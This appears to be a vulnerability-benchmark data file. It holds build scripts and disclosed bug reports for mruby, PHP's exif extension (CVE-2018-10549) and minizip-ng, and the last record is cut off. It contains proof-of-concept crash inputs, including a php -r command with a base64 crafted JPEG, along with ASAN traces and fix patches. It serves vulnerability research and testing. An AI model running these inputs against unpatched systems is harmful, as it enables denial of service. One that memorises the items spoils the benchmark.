rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/6f930add-c9d8-4870-ae56-d4bd8354703b
## Description:
Description
NULL Pointer Dereference in mrb_vm_exec with super
Proof of Concept
o13 = Comparable.initialize(){||0x7f.instance_eval() do super rescue caller (0..1).sort_by() do break end end } // PoC.js ./mruby 1.rb
#Result ASAN:DEADLYSIGNAL ================================================================= ==19163==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x55bde3b4162d bp 0x7ffcbe8d7ab0 sp 0x7ffcbe8d63c0 T0) ==19163==The signal is caused by a READ memory access. ==19163==Hint: address points to the zero page. #0 0x55bde3b4162c in mrb_vm_exec /home/xxx/mruby/src/vm.c:1752 #1 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #2 0x55bde3b7b219 in mrb_run /home/xxx/mruby/src/vm.c:3034 #3 0x55bde3b2fbc9 in mrb_yield_with_class /home/xxx/mruby/src/vm.c:879 #4 0x55bde3b0b521 in mrb_mod_initialize /home/xxx/mruby/src/class.c:1648 #5 0x55bde3b3fb19 in mrb_vm_exec /home/xxx/mruby/src/vm.c:1640 #6 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #7 0x55bde3b7b42b in mrb_top_run /home/xxx/mruby/src/vm.c:3047 #8 0x55bde3bedb2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6890 #9 0x55bde3bede42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:6933 #10 0x55bde3afc128 in main /home/xxx/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357 #11 0x7f98eb47ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86) #12 0x55bde3af9339 in _start (/home/xxx/mruby/bin/mruby+0xc2339)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/xxx/mruby/src/vm.c:1752 in mrb_vm_exec ==19163==ABORTING
Impact
This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.
Relevant Links:
https://github.com/mruby/mruby
https://github.com/mruby/mruby/blob/master/src/vm.c#L1752
|
[] |
[
{
"sha": "6f930add",
"url": null
},
{
"sha": "00acae117da1b45b318dc36531a7b0021b8097ae",
"url": "https://github.com/mruby/mruby/commit/00acae117da1b45b318dc36531a7b0021b8097ae"
}
] |
php.cve-2018-10549
|
php/php-src
|
fe3d53f4437718fad63850695970dddd63144af5
| 2018-04-24T16:23:14
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fe3d53f4437718fad63850695970dddd63144af5
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=76130
## Description:
PHP Bug ID: 76130
Summary: Heap Buffer Overflow (READ: 1786) in exif_iif_add_value
Status: Closed
PHP Version: 5.6 +
Assigned: stas (profile)
CVE-ID: 2018-10549
Description:
Description:
------------
The exif_read_data() function is prone to an out of bounds read while processing crafted JPG data. This was discovered using AFL.
Test script:
---------------
USE_ZEND_ALLOC=0 php -r 'exif_read_data("data://text/plain;base64,/9gwABAwMDAwMDAwMDAwMDAwMOENMEV4aWYAAElJKgAIAAAAMAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAFAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADAGAAAwMDAwMAAAADACAAAwMDAwMAAAADAGAAB8kjAwMAAAADAGAAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw");'
Actual result:
--------------
When running the test script with an ASAN enabled PHP interpreter with USE_ZEND_ALLOC=0, the following ASAN report/backtrace is generated:
==10816==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61f000001bb1 at pc 0x00000045fe6a bp 0x7ffcf22faf00 sp 0x7ffcf22fa6b0
READ of size 1786 at 0x61f000001bb1 thread T0
#0 0x45fe69 in __interceptor_strlen.part.31 /home/cyoung/llvm/llvm-4.0.0.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284
#1 0x103e09f in exif_iif_add_value /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:2115:15
#2 0x103e09f in exif_iif_add_tag /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:2199
#3 0x1047bdf in exif_process_IFD_TAG /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:3543:2
#4 0x1043550 in exif_process_IFD_in_JPEG /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:3576:8
#5 0x1039a1f in exif_process_TIFF_in_JPEG /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:3665:2
#6 0x1039a1f in exif_process_APP1 /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:3690
#7 0x1039a1f in exif_scan_JPEG_header /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:3835
#8 0x1039a1f in exif_scan_FILE_header /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4224
#9 0x1039a1f in exif_read_from_impl /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4365
#10 0x1039a1f in exif_read_from_stream /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4382
#11 0x10302d9 in exif_read_from_file /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4409:8
#12 0x10302d9 in zif_exif_read_data /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4484
#13 0x1d7899d in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_vm_execute.h:573:2
#14 0x1ae22dd in execute_ex /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_vm_execute.h:59723:7
#15 0x1ae2b92 in zend_execute /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_vm_execute.h:63760:2
#16 0x18e2be0 in zend_eval_stringl /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_execute_API.c:1082:4
#17 0x18e36da in zend_eval_stringl_ex /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_execute_API.c:1123:11
#18 0x18e36da in zend_eval_string_ex /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_execute_API.c:1134
#19 0x1eda9f9 in do_cli /home/cyoung/php/7.2.3/php-src-php-7.2.3/sapi/cli/php_cli.c:1042:8
#20 0x1ed78be in main /home/cyoung/php/7.2.3/php-src-php-7.2.3/sapi/cli/php_cli.c:1404:18
#21 0x7f6b51b8e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#22 0x43b308 in _start (/home/cyoung/php/7.2.3/php-src-php-7.2.3/sapi/cli/php+0x43b308)
0x61f000001bb1 is located 0 bytes to the right of 3377-byte region [0x61f000000e80,0x61f000001bb1)
allocated by thread T0 here:
#0 0x4f3988 in __interceptor_malloc /home/cyoung/llvm/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66
#1 0x180e0dc in __zend_malloc /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_alloc.c:2829:14
#2 0x10302d9 in exif_read_from_file /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4409:8
#3 0x10302d9 in zif_exif_read_data /home/cyoung/php/7.2.3/php-src-php-7.2.3/ext/exif/exif.c:4484
#4 0x1d7899d in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_vm_execute.h:573:2
#5 0x1ae22dd in execute_ex /home/cyoung/php/7.2.3/php-src-php-7.2.3/Zend/zend_vm_execute.h:59723:7
Comments:
[Comment 1] [2018-03-21 18:41 UTC] cyoung at tripwire dot com
I have placed a test case on my web server: https://secur3.us/php_bugs/exif-oob.jpg
Just in case there are problems using the base64 encoded image stream, you can download the file for testing.
Links: https://secur3.us/php_bugs/exif-oob.jpg
[Comment 2] [2018-03-22 14:36 UTC] [email protected]
I can confirm the issue for PHP-7.0 up to master. If have not
checked PHP-5.6, but it appears to be affected as well. For
master (@e791e93) valgrind reports:
==880== Conditional jump or move depends on uninitialised value(s)
==880== at 0x4C2EDB8: strlen (vg_replace_strmem.c:454)
==880== by 0x2E242C: exif_iif_add_value (exif.c:2093)
==880== by 0x2E2765: exif_iif_add_tag (exif.c:2177)
==880== by 0x2E5D0A: exif_process_IFD_TAG (exif.c:3519)
==880== by 0x2E5ED5: exif_process_IFD_in_JPEG (exif.c:3552)
==880== by 0x2E624D: exif_process_TIFF_in_JPEG (exif.c:3641)
==880== by 0x2E634F: exif_process_APP1 (exif.c:3666)
==880== by 0x2E6911: exif_scan_JPEG_header (exif.c:3811)
==880== by 0x2E7A67: exif_scan_FILE_header (exif.c:4200)
==880== by 0x2E858E: exif_read_from_impl (exif.c:4341)
==880== by 0x2E85EF: exif_read_from_stream (exif.c:4358)
==880== by 0x2E86BC: exif_read_from_file (exif.c:4385)
==880== Uninitialised value was created by a heap allocation
==880== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==880== by 0x4A92E0: __zend_malloc (zend_alloc.c:2886)
==880== by 0x4A81DE: _emalloc (zend_alloc.c:2480)
==880== by 0x4A8767: _safe_emalloc (zend_alloc.c:2542)
==880== by 0x2E1F4E: exif_file_sections_add (exif.c:1992)
==880== by 0x2E66AD: exif_scan_JPEG_header (exif.c:3765)
==880== by 0x2E7A67: exif_scan_FILE_header (exif.c:4200)
==880== by 0x2E858E: exif_read_from_impl (exif.c:4341)
==880== by 0x2E85EF: exif_read_from_stream (exif.c:4358)
==880== by 0x2E86BC: exif_read_from_file (exif.c:4385)
==880== by 0x2E8E1F: zif_exif_read_data (exif.c:4460)
==880== by 0x5545D1: ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execut
e.h:641)
Apparently, we should replace the unnecessary (there can't be an
integer overflow in this case) safe_emalloc() with ecalloc() (see
the attached patch zero-data.patch).
@cyoung: Can you please verify whether the patch would solve the
issue?
[Comment 3] [2018-03-22 14:36 UTC] [email protected]
The following patch has been added/updated:
Patch Name: zero-data.patch
Revision: 1521729404
URL: https://bugs.php.net/patch-display.php?bug=76130&patch=zero-data.patch&revision=1521729404
Links: https://bugs.php.net/patch-display.php?bug=76130&patch=zero-data.patch&revision=1521729404
[Comment 4] [2018-03-22 15:12 UTC] cyoung at tripwire dot com
@cmb I can definitely confirm the patch but I am unable to access the file. (I get an error "You have no access to bug #76130" and I do not see an option to supply my password.) Is there another way to access the patch?
Links: https://bugs.php.net/bug.php?id=76130
[Comment 5] [2018-03-22 15:12 UTC] cyoung at tripwire dot com
Related To: Bug #76130
Links: https://bugs.php.net/bug.php?id=76130
[Comment 6] [2018-03-22 15:21 UTC] [email protected]
> Is there another way to access the patch?
I'm pasting inline:
ext/exif/exif.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/ext/exif/exif.c b/ext/exif/exif.c
index d1155de93f..312399ed52 100644
--- a/ext/exif/exif.c
+++ b/ext/exif/exif.c
@@ -1989,7 +1989,7 @@ static int exif_file_sections_add(image_info_type *ImageInfo, int type, size_t s
if (!size) {
data = NULL;
} else if (data == NULL) {
- data = safe_emalloc(size, 1, 0);
+ data = ecalloc(size, 1);
}
ImageInfo->file.list[count].type = type;
ImageInfo->file.list[count].data = data;
[Comment 7] [2018-03-22 15:40 UTC] cyoung at tripwire dot com
The patch does resolve most of my test cases but there are a few which are still hitting an OOB read. Check out https://secur3.us/php_bugs/exif-oob2.jpg
Base64 of the input is as follows:
SUkqAAgAAABsAHySfwAUAAAAHgEAAEoBAgAUAAD/mgYAAGmHAhQAAAAWCwAAAKUCwgAUAAEAWgUA
AgICAgICAgICCJICABQAAABCCQACAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICCgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgKA////AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgI8P3BocCBwaHBpbmYFKCk7ID8+ADw/cGhwIHBocGluZm8o
KTsgPz4APD9waAH1AQEBAQEBAQEBATw/cGhwIHBocGluZm8oKQEBAQEBAQEBAQEBAQEBAQEBAQEB
AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/CABEIAWQCgAMBEQBCEAEAEQH/xAAfAAEA
AAUFAQAAAAAAAAAAAAAABwALpAIAFAAAAHIG2gAIAQEAAAAA
Links: https://secur3.us/php_bugs/exif-oob2.jpg
[Comment 8] [2018-03-22 16:55 UTC] [email protected]
> The patch does resolve most of my test cases […]
Thanks for the quick confirmation!
> but there are a few which are still hitting an OOB read.
I can confirm that. Will investigate ASAP.
[Comment 9] [2018-03-22 17:09 UTC] [email protected]
I usually use private gists to post patches, this way you can be sure they are downloadable.
@cmb: could you explain the patch? Do we have reference to uninitialized memory there? If so, shouldn't we fix whatever code is accessing uninitialized memory too?
[Comment 10] [2018-03-23 12:54 UTC] [email protected]
> https://secur3.us/php_bugs/exif-oob2.jpg
This issue seems to be not directly related to the other one. The
problem is that the first IFD entry of the image (which is
actually a TIFF image), which is a MakerNote, specifies its format
as x7F which is illegal, so the code assumes it's BYTE. Since the
length is 20, we must not read more than 20 bytes. However, we're
calculating strlen(value)[1], but there is no NUL byte within the
first 20 bytes, which causes an OOB read in this case. The
solution would be to replace the line with:
length = (int) php_strnlen(value, length);
> could you explain the patch?
Not really. I've just acted on the valgrind report, which claimed
"Conditional jump or move depends on uninitialised value" pointing
to the respective safe_emalloc().
I think it would be best if Kalle could review the suggested fixes
and potentially related issues.
[1] <https://github.com/php/php-src/blob/PHP-7.2.4/ext/exif/exif.c#L2115>
Links: https://secur3.us/php_bugs/exif-oob2.jpg, https://github.com/php/php-src/blob/PHP-7.2.4/ext/exif/exif.c#L2115
[Comment 11] [2018-03-23 13:16 UTC] [email protected]
>> https://secur3.us/php_bugs/exif-oob2.jpg
>
> This issue seems to be not directly related to the other one.
Correction. Actually, it seems that fixing the strlen() only,
also solves the OOB read for the test script provided in the OP,
so there might be no need to zero the memory as suggested by
zero-data.patch.
Links: https://secur3.us/php_bugs/exif-oob2.jpg
[Comment 12] [2018-03-23 13:29 UTC] cyoung at tripwire dot com
I agree. I had confused these test cases as the same bug because they were both having the OOB read on strlen based on the ASAN output.
I've confirmed that this fixes the test cases in my queue and now I'll resume fuzzing with the php_strnlen() as further confirmation.
[Comment 13] [2018-03-23 14:45 UTC] cyoung at tripwire dot com
I have done some fuzzing with the php_strnlen patch both with and without the ecalloc patch. I'm no longer getting ASAN reports with either build.
[Comment 14] [2018-03-27 17:02 UTC] [email protected]
The following patch has been added/updated:
Patch Name: fix-71630.patch
Revision: 1522170171
URL: https://bugs.php.net/patch-display.php?bug=76130&patch=fix-71630.patch&revision=1522170171
Links: https://bugs.php.net/patch-display.php?bug=76130&patch=fix-71630.patch&revision=1522170171
[Comment 15] [2018-03-27 17:03 UTC] [email protected]
Thanks for further fuzz testing, @cyoung!
Since the php_strlen() patch obviously fixes the issue,
initializing the memory (zero-data.patch) is not necessary.
Stas, can you please apply fix-76130.patch to PHP-5.6 and merge
upward?
[Comment 16] [2018-03-28 04:45 UTC] [email protected]
@cmb since the releases seem to be already tagged, I think I'll apply it to the next one (in a month).
[Comment 17] [2018-03-28 13:30 UTC] [email protected]
@stas That's fine by me.
[Comment 18] [2018-04-16 13:47 UTC] cyoung at tripwire dot com
Is there a CVE assignment pending or should I go through DWF to get one?
[Comment 19] [2018-04-16 13:53 UTC] [email protected]
We'll ask for a CVE after the release of the fix (makes the process easier).
[Comment 20] [2018-04-23 03:36 UTC] [email protected]
Fix in security repo as b4e4788c4461449b4587e19ef1f474ce938e4980
[Comment 21] [2018-04-24 05:13 UTC] [email protected]
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
Links: http://snaps.php.net/, http://windows.php.net/snapshots/
Commit References:
b4e4788c4461449b4587e19ef1f474ce938e4980
|
[] |
[
{
"sha": "b4e4788c4461449b4587e19ef1f474ce938e4980",
"url": "https://github.com/php/php-src/commit/b4e4788c4461449b4587e19ef1f474ce938e4980"
}
] |
minizip.cve-2023-48107
|
zlib-ng/minizip-ng
|
4f670cc7d7ad3a7a27ac3ed5e6c5ddf20956654b
| 2023-10-26T12:06:19
|
minizip-ng
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make cmake pkg-config libssl-dev:i386
RUN git clone https://github.com/zlib-ng/minizip-ng minizip-ng
RUN git -C minizip-ng checkout 4f670cc7d7ad3a7a27ac3ed5e6c5ddf20956654b
WORKDIR $SRC/minizip-ng
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cmake . -DCMAKE_C_FLAGS="$CFLAGS" -DCMAKE_CXX_FLAGS="$CXXFLAGS" -DMZ_BUILD_FUZZ_TESTS=ON
make clean -j$(nproc)
make -j$(nproc)
|
/src/minizip-ng
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/zlib-ng/minizip-ng/issues/739
## Description:
Issue: zlib-ng/minizip-ng#739
Title: Heap-buffer-overflow in mz_os.c:71 mz_path_has_slash
State: closed
Created by: Akane0721
Created at: 2023-11-08 12:19:50+00:00
Labels: fixed, security, bug
Issue Body:
#### Description
heap-buffer-overflow (/minizip-ng/build/minizip+0x8d5a) in mz_path_has_slash
#### Version
```bash
$ ./minizip -h
minizip-ng 4.0.2 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-h
